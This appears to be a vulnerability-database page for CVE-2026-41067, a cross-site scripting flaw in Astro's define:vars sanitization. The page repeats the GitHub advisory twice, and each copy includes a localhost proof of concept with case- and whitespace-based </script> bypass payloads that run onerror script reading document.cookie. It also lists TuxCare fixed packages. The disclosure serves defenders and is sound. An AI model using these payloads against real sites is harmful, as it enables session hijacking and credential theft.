Every CVE Search/ Get API key

CVE-2026-41067

Astro: XSS via incomplete `</script>` sanitization in `define:vars` allows case-insensitive and whitespace-based bypass

6.1 MediumFix available

Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /</script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.19%Up 0.2 points since Apr 25, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.1

Astro: XSS via incomplete `</script>` sanitization in `define:vars` allows case-insensitive and whitespace-based bypass

Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /</script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.

Record
CVE-2026-41067
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-25573 6.1

Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /</script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.

Record
EUVD-2026-25573
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-j687-52p2-xcff 6.1

Astro: XSS in define:vars via incomplete </script> tag sanitization

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

  1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
  2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
  3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars={{ name }}>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

  • Session hijacking via cookie theft (document.cookie)
  • Credential theft by injecting fake login forms or keyloggers
  • Defacement of the rendered page
  • Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in…

Record
GHSA-j687-52p2-xcff
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 6.1

Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /</script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.

Record
CVE-2026-41067
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 6.1

Astro: XSS via incomplete `</script>` sanitization in `define:vars` allows case-insensitive and whitespace-based bypass

Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /</script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.

Record
CVE-2026-41067
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-j687-52p2-xcff 6.1

Astro: XSS in define:vars via incomplete </script> tag sanitization

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

  1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
  2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
  3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars={{ name }}>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

  • Session hijacking via cookie theft (document.cookie)
  • Credential theft by injecting fake login forms or keyloggers
  • Defacement of the rendered page
  • Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in…

Record
GHSA-j687-52p2-xcff
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
Show 25 moreShow less
OSVCLSA-2026-1777855417 No score

TuxCare security update for astro (10 CVEs)

TuxCare rebuilt astro to address 10 CVEs. Fixed in 1.9.2-tuxcare.1.

Record
CLSA-2026-1777855417
Updated
2026-11-02
OSVCLSA-2026-1777855422 No score

TuxCare security update for astro (10 CVEs)

TuxCare rebuilt astro to address 10 CVEs. Fixed in 0.26.1-tuxcare.1.

Record
CLSA-2026-1777855422
Updated
2026-11-02
OSVCLSA-2026-1777941830 No score

TuxCare security update for astro (10 CVEs)

TuxCare rebuilt astro to address 10 CVEs. Fixed in 2.10.15-tuxcare.1.

Record
CLSA-2026-1777941830
Updated
2026-11-02
OSVCLSA-2026-1778114666 No score

TuxCare security update for 5 packages (9 CVEs)

TuxCare rebuilt 5 packages to address 9 CVEs. Fixed in 4.16.19-tuxcare.1.

Record
CLSA-2026-1778114666
Updated
2026-11-02
OSVCLSA-2026-1778633121 No score

TuxCare security update for astro (11 CVEs)

TuxCare rebuilt astro to address 11 CVEs. Fixed in 3.6.5-tuxcare.1.

Record
CLSA-2026-1778633121
Updated
2026-11-02
OSVCLSA-2026-1778805974 No score

TuxCare security update for astro (1 CVE)

TuxCare rebuilt astro to address 1 CVE. Fixed in 5.18.1-tuxcare.2.

Record
CLSA-2026-1778805974
Updated
2026-11-02
OSVCLSA-2026-1792161544 No score

TuxCare security update for @astrojs/internal-helpers (11 CVEs)

TuxCare rebuilt @astrojs/internal-helpers to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.

Record
CLSA-2026-1792161544
Updated
2026-11-02
OSVCLSA-2026-1792161545 No score

TuxCare security update for @astrojs/internal-helpers (10 CVEs)

TuxCare rebuilt @astrojs/internal-helpers to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.

Record
CLSA-2026-1792161545
Updated
2026-11-02
OSVCLSA-2026-1792161546 No score

TuxCare security update for @astrojs/internal-helpers (13 CVEs)

TuxCare rebuilt @astrojs/internal-helpers to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.

Record
CLSA-2026-1792161546
Updated
2026-11-02
OSVCLSA-2026-1792161547 No score

TuxCare security update for @astrojs/internal-helpers (2 CVEs)

TuxCare rebuilt @astrojs/internal-helpers to address 2 CVEs. Fixed in 5.18.1-tuxcare.2.

Record
CLSA-2026-1792161547
Updated
2026-11-02
OSVCLSA-2026-1792161681 No score

TuxCare security update for @astrojs/prism (10 CVEs)

TuxCare rebuilt @astrojs/prism to address 10 CVEs. Fixed in 1.9.2-tuxcare.1.

Record
CLSA-2026-1792161681
Updated
2026-11-02
OSVCLSA-2026-1792161682 No score

TuxCare security update for @astrojs/prism (10 CVEs)

TuxCare rebuilt @astrojs/prism to address 10 CVEs. Fixed in 0.26.1-tuxcare.1.

Record
CLSA-2026-1792161682
Updated
2026-11-02
OSVCLSA-2026-1792161683 No score

TuxCare security update for @astrojs/prism (11 CVEs)

TuxCare rebuilt @astrojs/prism to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.

Record
CLSA-2026-1792161683
Updated
2026-11-02
OSVCLSA-2026-1792161684 No score

TuxCare security update for @astrojs/prism (10 CVEs)

TuxCare rebuilt @astrojs/prism to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.

Record
CLSA-2026-1792161684
Updated
2026-11-02
OSVCLSA-2026-1792161686 No score

TuxCare security update for @astrojs/prism (13 CVEs)

TuxCare rebuilt @astrojs/prism to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.

Record
CLSA-2026-1792161686
Updated
2026-11-02
OSVCLSA-2026-1792161687 No score

TuxCare security update for @astrojs/prism (2 CVEs)

TuxCare rebuilt @astrojs/prism to address 2 CVEs. Fixed in 5.18.1-tuxcare.2.

Record
CLSA-2026-1792161687
Updated
2026-11-02
OSVCLSA-2026-1792161759 No score

TuxCare security update for @astrojs/studio (10 CVEs)

TuxCare rebuilt @astrojs/studio to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.

Record
CLSA-2026-1792161759
Updated
2026-11-02
OSVCLSA-2026-1792161775 No score

TuxCare security update for @astrojs/underscore-redirects (11 CVEs)

TuxCare rebuilt @astrojs/underscore-redirects to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.

Record
CLSA-2026-1792161775
Updated
2026-11-02
OSVCLSA-2026-1792161776 No score

TuxCare security update for @astrojs/underscore-redirects (10 CVEs)

TuxCare rebuilt @astrojs/underscore-redirects to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.

Record
CLSA-2026-1792161776
Updated
2026-11-02
OSVCLSA-2026-1792161777 No score

TuxCare security update for @astrojs/underscore-redirects (13 CVEs)

TuxCare rebuilt @astrojs/underscore-redirects to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.

Record
CLSA-2026-1792161777
Updated
2026-11-02
OSVCLSA-2026-1792161778 No score

TuxCare security update for @astrojs/underscore-redirects (2 CVEs)

TuxCare rebuilt @astrojs/underscore-redirects to address 2 CVEs. Fixed in 5.18.1-tuxcare.2.

Record
CLSA-2026-1792161778
Updated
2026-11-02
OSVCLSA-2026-1792161847 No score

TuxCare security update for @astrojs/upgrade (10 CVEs)

TuxCare rebuilt @astrojs/upgrade to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.

Record
CLSA-2026-1792161847
Updated
2026-11-02
OSVCLSA-2026-1792161848 No score

TuxCare security update for @astrojs/upgrade (13 CVEs)

TuxCare rebuilt @astrojs/upgrade to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.

Record
CLSA-2026-1792161848
Updated
2026-11-02
OSVCLSA-2026-1792161849 No score

TuxCare security update for @astrojs/upgrade (2 CVEs)

TuxCare rebuilt @astrojs/upgrade to address 2 CVEs. Fixed in 5.18.1-tuxcare.2.

Record
CLSA-2026-1792161849
Updated
2026-11-02
OSVCLSA-2026-1792454046 No score

TuxCare security update for astro (9 CVEs)

TuxCare rebuilt astro to address 9 CVEs. Fixed in 5.18.2-tuxcare.1.

Record
CLSA-2026-1792454046
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
astro
npm
 before 6.1.6
6.1.6
astro
TuxCare:npm
From an advisory covering 10 CVEs
 1.9.2-tuxcare.0 up to 1.9.2-tuxcare.1, plus listed versions
1.9.2
1.9.2-tuxcare.1
astro
TuxCare:npm
From an advisory covering 10 CVEs
 0.26.1-tuxcare.0 up to 0.26.1-tuxcare.1, plus listed versions
0.26.1
0.26.1-tuxcare.1
astro
TuxCare:npm
From an advisory covering 10 CVEs
 2.10.15-tuxcare.0 up to 2.10.15-tuxcare.1, plus listed versions
2.10.15
2.10.15-tuxcare.1
@astrojs/db
TuxCare:npm
From an advisory covering 8 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
@astrojs/rss
TuxCare:npm
From an advisory covering 8 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
@astrojs/telemetry
TuxCare:npm
From an advisory covering 8 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
astro
TuxCare:npm
From an advisory covering 8 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
create-astro
TuxCare:npm
From an advisory covering 8 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
astro
TuxCare:npm
From an advisory covering 11 CVEs
 3.6.5-tuxcare.0 up to 3.6.5-tuxcare.1, plus listed versions
3.6.5
3.6.5-tuxcare.1
Show 20 moreShow less
Affected packages
PackageAffectedFixed
astro
TuxCare:npm
 5.18.1-tuxcare.0 up to 5.18.1-tuxcare.2, plus listed versions
5.18.15.18.1-tuxcare.1
5.18.1-tuxcare.2
@astrojs/internal-helpers
TuxCare:npm
From an advisory covering 11 CVEs
 2.10.15-tuxcare.0 up to 2.10.15-tuxcare.1, plus listed versions
2.10.15
2.10.15-tuxcare.1
@astrojs/internal-helpers
TuxCare:npm
From an advisory covering 9 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
@astrojs/internal-helpers
TuxCare:npm
From an advisory covering 13 CVEs
 3.6.5-tuxcare.0 up to 3.6.5-tuxcare.1, plus listed versions
3.6.5
3.6.5-tuxcare.1
@astrojs/internal-helpers
TuxCare:npm
From an advisory covering 2 CVEs
 5.18.1-tuxcare.0 up to 5.18.1-tuxcare.2, plus listed versions
5.18.1
5.18.1-tuxcare.2
@astrojs/prism
TuxCare:npm
From an advisory covering 10 CVEs
 1.9.2-tuxcare.0 up to 1.9.2-tuxcare.1, plus listed versions
1.9.2
1.9.2-tuxcare.1
@astrojs/prism
TuxCare:npm
From an advisory covering 10 CVEs
 0.26.1-tuxcare.0 up to 0.26.1-tuxcare.1, plus listed versions
0.26.1
0.26.1-tuxcare.1
@astrojs/prism
TuxCare:npm
From an advisory covering 11 CVEs
 2.10.15-tuxcare.0 up to 2.10.15-tuxcare.1, plus listed versions
2.10.15
2.10.15-tuxcare.1
@astrojs/prism
TuxCare:npm
From an advisory covering 9 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
@astrojs/prism
TuxCare:npm
From an advisory covering 13 CVEs
 3.6.5-tuxcare.0 up to 3.6.5-tuxcare.1, plus listed versions
3.6.5
3.6.5-tuxcare.1
@astrojs/prism
TuxCare:npm
From an advisory covering 2 CVEs
 5.18.1-tuxcare.0 up to 5.18.1-tuxcare.2, plus listed versions
5.18.1
5.18.1-tuxcare.2
@astrojs/studio
TuxCare:npm
From an advisory covering 9 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
@astrojs/underscore-redirects
TuxCare:npm
From an advisory covering 11 CVEs
 2.10.15-tuxcare.0 up to 2.10.15-tuxcare.1, plus listed versions
2.10.15
2.10.15-tuxcare.1
@astrojs/underscore-redirects
TuxCare:npm
From an advisory covering 9 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
@astrojs/underscore-redirects
TuxCare:npm
From an advisory covering 13 CVEs
 3.6.5-tuxcare.0 up to 3.6.5-tuxcare.1, plus listed versions
3.6.5
3.6.5-tuxcare.1
@astrojs/underscore-redirects
TuxCare:npm
From an advisory covering 2 CVEs
 5.18.1-tuxcare.0 up to 5.18.1-tuxcare.2, plus listed versions
5.18.1
5.18.1-tuxcare.2
@astrojs/upgrade
TuxCare:npm
From an advisory covering 9 CVEs
 4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions
4.16.19
4.16.19-tuxcare.1
@astrojs/upgrade
TuxCare:npm
From an advisory covering 13 CVEs
 3.6.5-tuxcare.0 up to 3.6.5-tuxcare.1, plus listed versions
3.6.5
3.6.5-tuxcare.1
@astrojs/upgrade
TuxCare:npm
From an advisory covering 2 CVEs
 5.18.1-tuxcare.0 up to 5.18.1-tuxcare.2, plus listed versions
5.18.1
5.18.1-tuxcare.2
astro
TuxCare:npm
From an advisory covering 9 CVEs
 5.18.2-tuxcare.0 up to 5.18.2-tuxcare.1, plus listed versions
5.18.2
5.18.2-tuxcare.1

History

History
RecordedChangedSources
affected, facts
affectedOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41067 is a medium vulnerability (CVSS 6.1) in Astro, published April 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 8th percentile. Fixed in astro 6.1.6.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open